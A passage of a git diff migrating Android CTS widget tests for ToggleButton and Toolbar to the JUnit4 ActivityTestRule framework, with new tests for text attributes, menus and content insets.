+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ToggleButtonTest {
     private static final String TEXT_OFF = "text off";
     private static final String TEXT_ON = "text on";
-    ToggleButton mToggleButton;
-    Context mContext;
-    AttributeSet mAttrSet;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    private Activity mActivity;
 
-        mContext = getInstrumentation().getTargetContext();
-        XmlPullParser parser = mContext.getResources().getXml(R.layout.togglebutton_layout);
-        mAttrSet = Xml.asAttributeSet(parser);
-        mToggleButton = new ToggleButton(mContext, mAttrSet);
+    @Rule
+    public ActivityTestRule<ToggleButtonCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ToggleButtonCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
     }
 
+    @Test
     public void testConstructor() {
-        new ToggleButton(mContext, mAttrSet, 0);
-        new ToggleButton(mContext, mAttrSet);
-        new ToggleButton(mContext);
-
-        try {
-            new ToggleButton(null, null, -1);
-            fail("There should be a NullPointerException thrown out.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
-
-        try {
-            new ToggleButton(null, null);
-            fail("There should be a NullPointerException thrown out.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
-
-        try {
-            new ToggleButton(null);
-            fail("There should be a NullPointerException thrown out.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
+        new ToggleButton(mActivity);
+        new ToggleButton(mActivity, null);
+        new ToggleButton(mActivity, null, android.R.attr.buttonStyleToggle);
+        new ToggleButton(mActivity, null, 0, android.R.style.Widget_DeviceDefault_Button_Toggle);
+        new ToggleButton(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_Light_Button_Toggle);
+        new ToggleButton(mActivity, null, 0, android.R.style.Widget_Material_Button_Toggle);
+        new ToggleButton(mActivity, null, 0, android.R.style.Widget_Material_Light_Button_Toggle);
     }
 
-    public void testAccessTextOff() {
-        mToggleButton.setTextOff("android");
-        assertEquals("android", mToggleButton.getTextOff());
-        mToggleButton.setChecked(false);
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext1() {
+        new ToggleButton(null);
+    }
 
-        mToggleButton.setTextOff(null);
-        assertNull(mToggleButton.getTextOff());
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext2() {
+        new ToggleButton(null, null);
+    }
 
-        mToggleButton.setTextOff("");
-        assertEquals("", mToggleButton.getTextOff());
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext3() {
+        new ToggleButton(null, null, -1);
+    }
+
+    @Test
+    public void testAttributesFromStyle() {
+        final ToggleButton toggleButton =
+                (ToggleButton) mActivity.findViewById(R.id.toggle_with_style);
+        assertEquals(mActivity.getString(R.string.toggle_text_on), toggleButton.getTextOn());
+        assertEquals(mActivity.getString(R.string.toggle_text_off), toggleButton.getTextOff());
+    }
+
+    @Test
+    public void testAttributesFromLayout() {
+        final ToggleButton toggleButton =
+                (ToggleButton) mActivity.findViewById(R.id.toggle_with_defaults);
+        assertEquals(mActivity.getString(R.string.toggle_text_on_alt), toggleButton.getTextOn());
+        assertEquals(mActivity.getString(R.string.toggle_text_off_alt), toggleButton.getTextOff());
     }
 
     @UiThreadTest
+    @Test
+    public void testAccessTextOff() {
+        final ToggleButton toggleButton = (ToggleButton) mActivity.findViewById(R.id.toggle1);
+        toggleButton.setTextOff("android");
+        assertEquals("android", toggleButton.getTextOff());
+        toggleButton.setChecked(false);
+
+        toggleButton.setTextOff(null);
+        assertNull(toggleButton.getTextOff());
+
+        toggleButton.setTextOff("");
+        assertEquals("", toggleButton.getTextOff());
+    }
+
+    @UiThreadTest
+    @Test
     public void testDrawableStateChanged() {
-        MockToggleButton toggleButton = new MockToggleButton(mContext);
+        final MockToggleButton toggleButton =
+                (MockToggleButton) mActivity.findViewById(R.id.toggle_custom);
 
         // drawableStateChanged without any drawable.
         toggleButton.drawableStateChanged();
 
-        StateListDrawable drawable = new StateListDrawable();
+        final StateListDrawable drawable = new StateListDrawable();
         drawable.addState(new int[] { android.R.attr.state_pressed },
-                mContext.getDrawable(R.drawable.scenery));
+                mActivity.getDrawable(R.drawable.scenery));
         drawable.addState(new int[] {},
-                mContext.getDrawable(R.drawable.scenery));
+                mActivity.getDrawable(R.drawable.scenery));
 
         // drawableStateChanged when CheckMarkDrawable is not null.
         toggleButton.setButtonDrawable(drawable);
@@ -113,80 +142,97 @@
         assertEquals(toggleButton.getDrawableState(), drawable.getState());
     }
 
+    @UiThreadTest
+    @Test
     public void testOnFinishInflate() {
-        MockToggleButton toggleButton = new MockToggleButton(mContext);
+        final MockToggleButton toggleButton =
+                (MockToggleButton) mActivity.findViewById(R.id.toggle_custom);
         toggleButton.onFinishInflate();
     }
 
     @UiThreadTest
+    @Test
     public void testSetChecked() {
-        assertFalse(mToggleButton.isChecked());
+        final ToggleButton toggleButton = (ToggleButton) mActivity.findViewById(R.id.toggle1);
+        assertFalse(toggleButton.isChecked());
 
-        mToggleButton.setChecked(true);
-        assertTrue(mToggleButton.isChecked());
+        toggleButton.setChecked(true);
+        assertTrue(toggleButton.isChecked());
 
-        mToggleButton.setChecked(false);
-        assertFalse(mToggleButton.isChecked());
+        toggleButton.setChecked(false);
+        assertFalse(toggleButton.isChecked());
     }
 
     @UiThreadTest
+    @Test
     public void testToggleText() {
-        mToggleButton.setText("default text");
-        mToggleButton.setTextOn(TEXT_ON);
-        mToggleButton.setTextOff(TEXT_OFF);
-        mToggleButton.setChecked(true);
-        assertEquals(TEXT_ON, mToggleButton.getText().toString());
-        mToggleButton.setChecked(false);
-        assertFalse(mToggleButton.isChecked());
-        assertEquals(TEXT_OFF, mToggleButton.getText().toString());
+        final ToggleButton toggleButton = (ToggleButton) mActivity.findViewById(R.id.toggle1);
+        toggleButton.setText("default text");
+        toggleButton.setTextOn(TEXT_ON);
+        toggleButton.setTextOff(TEXT_OFF);
+        toggleButton.setChecked(true);
+        assertEquals(TEXT_ON, toggleButton.getText().toString());
+        toggleButton.setChecked(false);
+        assertFalse(toggleButton.isChecked());
+        assertEquals(TEXT_OFF, toggleButton.getText().toString());
 
         // Set the current displaying text as TEXT_OFF.
         // Then set checked button, but textOn is null.
-        mToggleButton.setTextOff(TEXT_OFF);
-        mToggleButton.setChecked(false);
-        mToggleButton.setTextOn(null);
-        mToggleButton.setChecked(true);
-        assertEquals(TEXT_OFF, mToggleButton.getText().toString());
+        toggleButton.setTextOff(TEXT_OFF);
+        toggleButton.setChecked(false);
+        toggleButton.setTextOn(null);
+        toggleButton.setChecked(true);
+        assertEquals(TEXT_OFF, toggleButton.getText().toString());
 
         // Set the current displaying text as TEXT_ON. Then set unchecked button,
         // but textOff is null.
-        mToggleButton.setTextOn(TEXT_ON);
-        mToggleButton.setChecked(true);
-        mToggleButton.setTextOff(null);
-        mToggleButton.setChecked(false);
-        assertEquals(TEXT_ON, mToggleButton.getText().toString());
+        toggleButton.setTextOn(TEXT_ON);
+        toggleButton.setChecked(true);
+        toggleButton.setTextOff(null);
+        toggleButton.setChecked(false);
+        assertEquals(TEXT_ON, toggleButton.getText().toString());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetBackgroundDrawable() {
-        Drawable drawable = mContext.getResources().getDrawable(R.drawable.scenery);
+        final ToggleButton toggleButton = (ToggleButton) mActivity.findViewById(R.id.toggle1);
+        final Drawable drawable = mActivity.getDrawable(R.drawable.scenery);
 
-        mToggleButton.setBackgroundDrawable(drawable);
-        assertSame(drawable, mToggleButton.getBackground());
+        toggleButton.setBackgroundDrawable(drawable);
+        assertSame(drawable, toggleButton.getBackground());
 
         // remove the background
-        mToggleButton.setBackgroundDrawable(null);
-        assertNull(mToggleButton.getBackground());
+        toggleButton.setBackgroundDrawable(null);
+        assertNull(toggleButton.getBackground());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessTextOn() {
-        mToggleButton.setTextOn("cts");
-        assertEquals("cts", mToggleButton.getTextOn());
+        final ToggleButton toggleButton = (ToggleButton) mActivity.findViewById(R.id.toggle1);
+        toggleButton.setTextOn("cts");
+        assertEquals("cts", toggleButton.getTextOn());
 
-        mToggleButton.setTextOn(null);
-        assertNull(mToggleButton.getTextOn());
+        toggleButton.setTextOn(null);
+        assertNull(toggleButton.getTextOn());
 
-        mToggleButton.setTextOn("");
-        assertEquals("", mToggleButton.getTextOn());
+        toggleButton.setTextOn("");
+        assertEquals("", toggleButton.getTextOn());
     }
 
     /**
      * MockToggleButton class for testing.
      */
-    private static final class MockToggleButton extends ToggleButton {
+    public static final class MockToggleButton extends ToggleButton {
         public MockToggleButton(Context context) {
             super(context);
         }
 
+        public MockToggleButton(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+
         @Override
         protected void drawableStateChanged() {
             super.drawableStateChanged();
diff --git a/tests/tests/widget/src/android/widget/cts/ToolbarCtsActivity.java b/tests/tests/widget/src/android/widget/cts/ToolbarCtsActivity.java
index 413976d..ac650a1 100644
--- a/tests/tests/widget/src/android/widget/cts/ToolbarCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/ToolbarCtsActivity.java
@@ -18,6 +18,8 @@
 
 import android.app.Activity;
 import android.os.Bundle;
+import android.view.KeyEvent;
+import android.view.Menu;
 import android.widget.Toolbar;
 
 /**
@@ -26,6 +28,10 @@
 public class ToolbarCtsActivity extends Activity {
     private Toolbar mMainToolbar;
 
+    public int mCreateMenuCount;
+    public int mPrepareMenuCount;
+    public int mKeyShortcutCount;
+
     /**
      * Called with the activity is first created.
      */
@@ -41,5 +47,27 @@
     public Toolbar getMainToolbar() {
         return mMainToolbar;
     }
+
+    @Override
+    public boolean onCreateOptionsMenu(Menu menu) {
+        ++mCreateMenuCount;
+        return super.onCreateOptionsMenu(menu);
+    }
+
+    @Override
+    public boolean onPrepareOptionsMenu(Menu menu) {
+        ++mPrepareMenuCount;
+        return super.onPrepareOptionsMenu(menu);
+    }
+
+    @Override
+    public boolean onKeyShortcut(int keyCode, KeyEvent event) {
+        ++mKeyShortcutCount;
+        return super.onKeyShortcut(keyCode, event);
+    }
+
+    public void resetCounts() {
+        mCreateMenuCount = mPrepareMenuCount = mKeyShortcutCount = 0;
+    }
 }
 
diff --git a/tests/tests/widget/src/android/widget/cts/ToolbarTest.java b/tests/tests/widget/src/android/widget/cts/ToolbarTest.java
index 7f9690c..ff4da10 100644
--- a/tests/tests/widget/src/android/widget/cts/ToolbarTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToolbarTest.java
@@ -16,40 +16,60 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+
 import android.app.Instrumentation;
-import android.content.Context;
-import android.content.res.TypedArray;
 import android.graphics.Color;
 import android.graphics.drawable.Drawable;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
-import android.test.suitebuilder.annotation.MediumTest;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.KeyEvent;
 import android.view.Menu;
 import android.view.MenuItem;
 import android.view.View;
-import android.widget.ListPopupWindow;
 import android.widget.Toolbar;
 import android.widget.cts.util.TestUtils;
-import android.widget.cts.util.ViewTestUtils;
 
-import static org.mockito.Mockito.*;
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @MediumTest
-public class ToolbarTest extends ActivityInstrumentationTestCase2<ToolbarCtsActivity> {
-    private Toolbar mMainToolbar;
+@RunWith(AndroidJUnit4.class)
+public class ToolbarTest {
+    private Instrumentation mInstrumentation;
     private ToolbarCtsActivity mActivity;
+    private Toolbar mMainToolbar;
 
-    public ToolbarTest() {
-        super("android.widget.cts", ToolbarCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<ToolbarCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ToolbarCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
         mMainToolbar = mActivity.getMainToolbar();
     }
 
+    @Test
     public void testConstructor() {
         new Toolbar(mActivity);
 
@@ -60,88 +80,57 @@
         new Toolbar(mActivity, null, 0, android.R.style.Widget_Material_Toolbar);
     }
 
-    public void testTitleAndSubtitleContent() {
+    @Test
+    public void testTitleAndSubtitleContent() throws Throwable {
         // Note that this method is *not* annotated to run on the UI thread, and every
         // call to setTitle / setSubtitle is wrapped to wait until the next draw pass
         // of our main toolbar. While this is not strictly necessary to check the result
         // of getTitle / getSubtitle, this logic follows the path of deferred layout
         // and invalidation of the TextViews that show the title / subtitle in the Toolbar.
 
-        final Instrumentation instrumentation = getInstrumentation();
-
-        ViewTestUtils.runOnMainAndDrawSync(instrumentation, mMainToolbar,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
                 () -> mMainToolbar.setTitle(R.string.toolbar_title));
         assertEquals(mActivity.getString(R.string.toolbar_title), mMainToolbar.getTitle());
 
-        ViewTestUtils.runOnMainAndDrawSync(instrumentation, mMainToolbar,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
                 () -> mMainToolbar.setTitle("New title"));
         assertEquals("New title", mMainToolbar.getTitle());
 
-        ViewTestUtils.runOnMainAndDrawSync(instrumentation, mMainToolbar,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
                 () -> mMainToolbar.setSubtitle(R.string.toolbar_subtitle));
         assertEquals(mActivity.getString(R.string.toolbar_subtitle), mMainToolbar.getSubtitle());
 
-        ViewTestUtils.runOnMainAndDrawSync(instrumentation, mMainToolbar,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
                 () -> mMainToolbar.setSubtitle("New subtitle"));
         assertEquals("New subtitle", mMainToolbar.getSubtitle());
     }
 
-    public void testTitleAndSubtitleAppearance() {
-        final Instrumentation instrumentation = getInstrumentation();
-
-        ViewTestUtils.runOnMainAndDrawSync(instrumentation, mMainToolbar,
+    @Test
+    public void testTitleAndSubtitleAppearance() throws Throwable {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
                 () -> mMainToolbar.setTitle(R.string.toolbar_title));
-        ViewTestUtils.runOnMainAndDrawSync(instrumentation, mMainToolbar,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
                 () -> mMainToolbar.setSubtitle(R.string.toolbar_subtitle));
 
         // Since there are no APIs to get reference to the underlying implementation of
         // title and subtitle, here we are testing that calling the relevant APIs doesn't crash
 
-        ViewTestUtils.runOnMainAndDrawSync(instrumentation, mMainToolbar,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
                 () -> mMainToolbar.setTitleTextColor(Color.RED));
-        ViewTestUtils.runOnMainAndDrawSync(instrumentation, mMainToolbar,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
                 () -> mMainToolbar.setSubtitleTextColor(Color.BLUE));
 
-        ViewTestUtils.runOnMainAndDrawSync(instrumentation, mMainToolbar,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
                 () -> mMainToolbar.setTitleTextAppearance(
                         mActivity, R.style.TextAppearance_NotColors));
-        ViewTestUtils.runOnMainAndDrawSync(instrumentation, mMainToolbar,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
                 () -> mMainToolbar.setSubtitleTextAppearance(
                         mActivity, R.style.TextAppearance_WithColor));
     }
 
-    @UiThreadTest
-    public void testGetTitleMargins() {
-        assertEquals(5, mMainToolbar.getTitleMarginStart());
-        assertEquals(10, mMainToolbar.getTitleMarginTop());
-        assertEquals(15, mMainToolbar.getTitleMarginEnd());
-        assertEquals(20, mMainToolbar.getTitleMarginBottom());
-    }
-
-    @UiThreadTest
-    public void testSetTitleMargins() {
-        Toolbar toolbar = (Toolbar) mActivity.findViewById(R.id.toolbar2);
-
-        toolbar.setTitleMargin(5, 10, 15, 20);
-        assertEquals(5, toolbar.getTitleMarginStart());
-        assertEquals(10, toolbar.getTitleMarginTop());
-        assertEquals(15, toolbar.getTitleMarginEnd());
-        assertEquals(20, toolbar.getTitleMarginBottom());
-
-        toolbar.setTitleMarginStart(25);
-        toolbar.setTitleMarginTop(30);
-        toolbar.setTitleMarginEnd(35);
-        toolbar.setTitleMarginBottom(40);
-        assertEquals(25, toolbar.getTitleMarginStart());
-        assertEquals(30, toolbar.getTitleMarginTop());
-        assertEquals(35, toolbar.getTitleMarginEnd());
-        assertEquals(40, toolbar.getTitleMarginBottom());
-    }
-
-    public void testMenuContent() {
-        final Instrumentation instrumentation = getInstrumentation();
-
-        ViewTestUtils.runOnMainAndDrawSync(instrumentation, mMainToolbar,
+    @Test
+    public void testMenuContent() throws Throwable {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
                 () -> mMainToolbar.inflateMenu(R.menu.toolbar_menu));
 
         final Menu menu = mMainToolbar.getMenu();
@@ -169,35 +158,33 @@
                 menu.findItem(R.id.action_share));
     }
 
-    public void testMenuOverflowShowHide() {
-        final Instrumentation instrumentation = getInstrumentation();
-
+    @Test
+    public void testMenuOverflowShowHide() throws Throwable {
         // Inflate menu and check that we're not showing overflow menu yet
-        instrumentation.runOnMainSync(() -> mMainToolbar.inflateMenu(R.menu.toolbar_menu));
+        mActivityRule.runOnUiThread(() -> mMainToolbar.inflateMenu(R.menu.toolbar_menu));
         assertFalse(mMainToolbar.isOverflowMenuShowing());
 
         // Ask to show overflow menu and check that it's showing
-        instrumentation.runOnMainSync(() -> mMainToolbar.showOverflowMenu());
-        instrumentation.waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> mMainToolbar.showOverflowMenu());
+        mInstrumentation.waitForIdleSync();
         assertTrue(mMainToolbar.isOverflowMenuShowing());
 
         // Ask to hide the overflow menu and check that it's not showing
-        instrumentation.runOnMainSync(() -> mMainToolbar.hideOverflowMenu());
-        instrumentation.waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> mMainToolbar.hideOverflowMenu());
+        mInstrumentation.waitForIdleSync();
         assertFalse(mMainToolbar.isOverflowMenuShowing());
     }
 
-    public void testMenuOverflowSubmenu() {
-        final Instrumentation instrumentation = getInstrumentation();
-
+    @Test
+    public void testMenuOverflowSubmenu() throws Throwable {
         // Inflate menu and check that we're not showing overflow menu yet
-        ViewTestUtils.runOnMainAndDrawSync(instrumentation, mMainToolbar,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
                 () -> mMainToolbar.inflateMenu(R.menu.toolbar_menu));
         assertFalse(mMainToolbar.isOverflowMenuShowing());
 
         // Ask to show overflow menu and check that it's showing
-        instrumentation.runOnMainSync(() -> mMainToolbar.showOverflowMenu());
-        instrumentation.waitForIdleSync();
+        mActivityRule.runOnUiThread(mMainToolbar::showOverflowMenu);
+        mInstrumentation.waitForIdleSync();
         assertTrue(mMainToolbar.isOverflowMenuShowing());
 
         // Register a mock menu item click listener on the toolbar
@@ -209,129 +196,126 @@
 
         // Ask to "perform" the share action and check that the menu click listener has
         // been notified
-        instrumentation.runOnMainSync(() -> menu.performIdentifierAction(R.id.action_share, 0));
+        mActivityRule.runOnUiThread(() -> menu.performIdentifierAction(R.id.action_share, 0));
         verify(menuItemClickListener, times(1)).onMenuItemClick(
                 menu.findItem(R.id.action_share));
 
         // Ask to dismiss all the popups and check that we're not showing the overflow menu
-        instrumentation.runOnMainSync(() -> mMainToolbar.dismissPopupMenus());
-        instrumentation.waitForIdleSync();
+        mActivityRule.runOnUiThread(mMainToolbar::dismissPopupMenus);
+        mInstrumentation.waitForIdleSync();
         assertFalse(mMainToolbar.isOverflowMenuShowing());
     }
 
-    public void testMenuOverflowIcon() {
-        final Instrumentation instrumentation = getInstrumentation();
-
+    @Test
+    public void testMenuOverflowIcon() throws Throwable {
         // Inflate menu and check that we're not showing overflow menu yet
-        ViewTestUtils.runOnMainAndDrawSync(instrumentation, mMainToolbar,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
                 () -> mMainToolbar.inflateMenu(R.menu.toolbar_menu));
 
         final Drawable overflowIcon = mActivity.getDrawable(R.drawable.icon_red);
-        ViewTestUtils.runOnMainAndDrawSync(instrumentation, mMainToolbar,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
                 () -> mMainToolbar.setOverflowIcon(overflowIcon));
 
         final Drawable toolbarOverflowIcon = mMainToolbar.getOverflowIcon();
         TestUtils.assertAllPixelsOfColor("Overflow icon is red", toolbarOverflowIcon,
                 toolbarOverflowIcon.getIntrinsicWidth(), toolbarOverflowIcon.getIntrinsicHeight(),
-                true, 0XFFFF0000, 1, false);
+                true, Color.RED, 1, false);
     }
 
-    public void testActionView() {
-        final Instrumentation instrumentation = getInstrumentation();
-
+    @Test
+    public void testActionView() throws Throwable {
         // Inflate menu and check that we don't have an expanded action view
-        ViewTestUtils.runOnMainAndDrawSync(instrumentation, mMainToolbar,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
                 () -> mMainToolbar.inflateMenu(R.menu.toolbar_menu_search));
         assertFalse(mMainToolbar.hasExpandedActionView());
 
         // Expand search menu item's action view and verify that main toolbar has an expanded
         // action view
         final MenuItem searchMenuItem = mMainToolbar.getMenu().findItem(R.id.action_search);
-        instrumentation.runOnMainSync(() -> searchMenuItem.expandActionView());
-        instrumentation.waitForIdleSync();
+        mActivityRule.runOnUiThread(searchMenuItem::expandActionView);
+        mInstrumentation.waitForIdleSync();
         assertTrue(searchMenuItem.isActionViewExpanded());
         assertTrue(mMainToolbar.hasExpandedActionView());
 
         // Collapse search menu item's action view and verify that main toolbar doesn't have an
         // expanded action view
-        instrumentation.runOnMainSync(() -> searchMenuItem.collapseActionView());
-        instrumentation.waitForIdleSync();
+        mActivityRule.runOnUiThread(searchMenuItem::collapseActionView);
+        mInstrumentation.waitForIdleSync();
         assertFalse(searchMenuItem.isActionViewExpanded());
         assertFalse(mMainToolbar.hasExpandedActionView());
 
         // Expand search menu item's action view again
-        instrumentation.runOnMainSync(() -> searchMenuItem.expandActionView());
-        instrumentation.waitForIdleSync();
+        mActivityRule.runOnUiThread(searchMenuItem::expandActionView);
+        mInstrumentation.waitForIdleSync();
         assertTrue(searchMenuItem.isActionViewExpanded());
         assertTrue(mMainToolbar.hasExpandedActionView());
 
         // Now collapse search menu item's action view via toolbar's API and verify that main
         // toolbar doesn't have an expanded action view
-        instrumentation.runOnMainSync(() -> mMainToolbar.collapseActionView());
-        instrumentation.waitForIdleSync();
+        mActivityRule.runOnUiThread(mMainToolbar::collapseActionView);
+        mInstrumentation.waitForIdleSync();
         assertFalse(searchMenuItem.isActionViewExpanded());
         assertFalse(mMainToolbar.hasExpandedActionView());
     }
 
-    public void testNavigationConfiguration() {
-        final Instrumentation instrumentation = getInstrumentation();
-
-        ViewTestUtils.runOnMainAndDrawSync(instrumentation, mMainToolbar,
+    @Test
+    public void testNavigationConfiguration() throws Throwable {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
                 () -> mMainToolbar.setNavigationIcon(R.drawable.icon_green));
         Drawable toolbarNavigationIcon = mMainToolbar.getNavigationIcon();
         TestUtils.assertAllPixelsOfColor("Navigation icon is green", toolbarNavigationIcon,
                 toolbarNavigationIcon.getIntrinsicWidth(),
                 toolbarNavigationIcon.getIntrinsicHeight(),
-                true, 0xFF00FF00, 1, false);
+                true, Color.GREEN, 1, false);
 
-        ViewTestUtils.runOnMainAndDrawSync(instrumentation, mMainToolbar,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
                 () -> mMainToolbar.setNavigationIcon(mActivity.getDrawable(R.drawable.icon_blue)));
         toolbarNavigationIcon = mMainToolbar.getNavigationIcon();
         TestUtils.assertAllPixelsOfColor("Navigation icon is blue", toolbarNavigationIcon,
                 toolbarNavigationIcon.getIntrinsicWidth(),
                 toolbarNavigationIcon.getIntrinsicHeight(),
-                true, 0xFF0000FF, 1, false);
+                true, Color.BLUE, 1, false);
 
-        instrumentation.runOnMainSync(
+        mActivityRule.runOnUiThread(
                 () -> mMainToolbar.setNavigationContentDescription(R.string.toolbar_navigation));
         assertEquals(mActivity.getResources().getString(R.string.toolbar_navigation),
                 mMainToolbar.getNavigationContentDescription());
 
-        instrumentation.runOnMainSync(
+        mActivityRule.runOnUiThread(
                 () -> mMainToolbar.setNavigationContentDescription("Navigation legend"));
         assertEquals("Navigation legend", mMainToolbar.getNavigationContentDescription());
     }
 
-    public void testLogoConfiguration() {
-        final Instrumentation instrumentation = getInstrumentation();
-
-        ViewTestUtils.runOnMainAndDrawSync(instrumentation, mMainToolbar,
+    @Test
+    public void testLogoConfiguration() throws Throwable {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
                 () -> mMainToolbar.setLogo(R.drawable.icon_yellow));
         Drawable toolbarLogo = mMainToolbar.getLogo();
         TestUtils.assertAllPixelsOfColor("Logo is yellow", toolbarLogo,
                 toolbarLogo.getIntrinsicWidth(),
                 toolbarLogo.getIntrinsicHeight(),
-                true, 0xFFFFFF00, 1, false);
+                true, Color.YELLOW, 1, false);
 
-        ViewTestUtils.runOnMainAndDrawSync(instrumentation, mMainToolbar,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
                 () -> mMainToolbar.setLogo(mActivity.getDrawable(R.drawable.icon_red)));
         toolbarLogo = mMainToolbar.getLogo();
         TestUtils.assertAllPixelsOfColor("Logo is red", toolbarLogo,
                 toolbarLogo.getIntrinsicWidth(),
                 toolbarLogo.getIntrinsicHeight(),
-                true, 0xFFFF0000, 1, false);
+                true, Color.RED, 1, false);
 
-        instrumentation.runOnMainSync(
+        mActivityRule.runOnUiThread(
                 () -> mMainToolbar.setLogoDescription(R.string.toolbar_logo));
         assertEquals(mActivity.getResources().getString(R.string.toolbar_logo),
                 mMainToolbar.getLogoDescription());
 
-        instrumentation.runOnMainSync(
+        mActivityRule.runOnUiThread(
                 () -> mMainToolbar.setLogoDescription("Logo legend"));
         assertEquals("Logo legend", mMainToolbar.getLogoDescription());
     }
 
     @UiThreadTest
+    @Test
     public void testContentInsetsLtr() {
         mMainToolbar.setLayoutDirection(View.LAYOUT_DIRECTION_LTR);
 
@@ -349,6 +333,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testContentInsetsRtl() {
         mMainToolbar.setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
 
@@ -365,21 +350,187 @@
         assertEquals(20, mMainToolbar.getContentInsetEnd());
     }
 
+    @Test
+    public void testCurrentContentInsetsLtr() throws Throwable {
+        mActivityRule.runOnUiThread(
+                () -> mMainToolbar.setLayoutDirection(View.LAYOUT_DIRECTION_LTR));
+
+        mActivityRule.runOnUiThread(() -> mMainToolbar.setContentInsetsRelative(20, 25));
+        assertEquals(20, mMainToolbar.getCurrentContentInsetLeft());
+        assertEquals(20, mMainToolbar.getCurrentContentInsetStart());
+        assertEquals(25, mMainToolbar.getCurrentContentInsetRight());
+        assertEquals(25, mMainToolbar.getCurrentContentInsetEnd());
+
+        mActivityRule.runOnUiThread(() -> mMainToolbar.setContentInsetStartWithNavigation(50));
+        assertEquals(50, mMainToolbar.getContentInsetStartWithNavigation());
+        // Since we haven't configured the navigation icon itself, the current content insets
+        // should stay the same
+        assertEquals(20, mMainToolbar.getCurrentContentInsetLeft());
+        assertEquals(20, mMainToolbar.getCurrentContentInsetStart());
+        assertEquals(25, mMainToolbar.getCurrentContentInsetRight());
+        assertEquals(25, mMainToolbar.getCurrentContentInsetEnd());
+
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
+                () -> mMainToolbar.setNavigationIcon(R.drawable.icon_green));
+        assertEquals(50, mMainToolbar.getContentInsetStartWithNavigation());
+        // Since we have configured the navigation icon, and the currently set start inset with
+        // navigation is bigger than currently set start content inset, we should be getting that
+        // bigger value now
+        assertEquals(50, mMainToolbar.getCurrentContentInsetLeft());
+        assertEquals(50, mMainToolbar.getCurrentContentInsetStart());
+        assertEquals(25, mMainToolbar.getCurrentContentInsetRight());
+        assertEquals(25, mMainToolbar.getCurrentContentInsetEnd());
+
+        mActivityRule.runOnUiThread(() -> mMainToolbar.setContentInsetEndWithActions(35));
+        assertEquals(35, mMainToolbar.getContentInsetEndWithActions());
+        // Since we haven't configured the menu content, the current content insets
+        // should stay the same
+        assertEquals(50, mMainToolbar.getCurrentContentInsetLeft());
+        assertEquals(50, mMainToolbar.getCurrentContentInsetStart());
+        assertEquals(25, mMainToolbar.getCurrentContentInsetRight());
+        assertEquals(25, mMainToolbar.getCurrentContentInsetEnd());
+
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
+                () -> mMainToolbar.inflateMenu(R.menu.toolbar_menu));
+        assertEquals(35, mMainToolbar.getContentInsetEndWithActions());
+        // Since we have configured the menu content, and the currently set start inset with
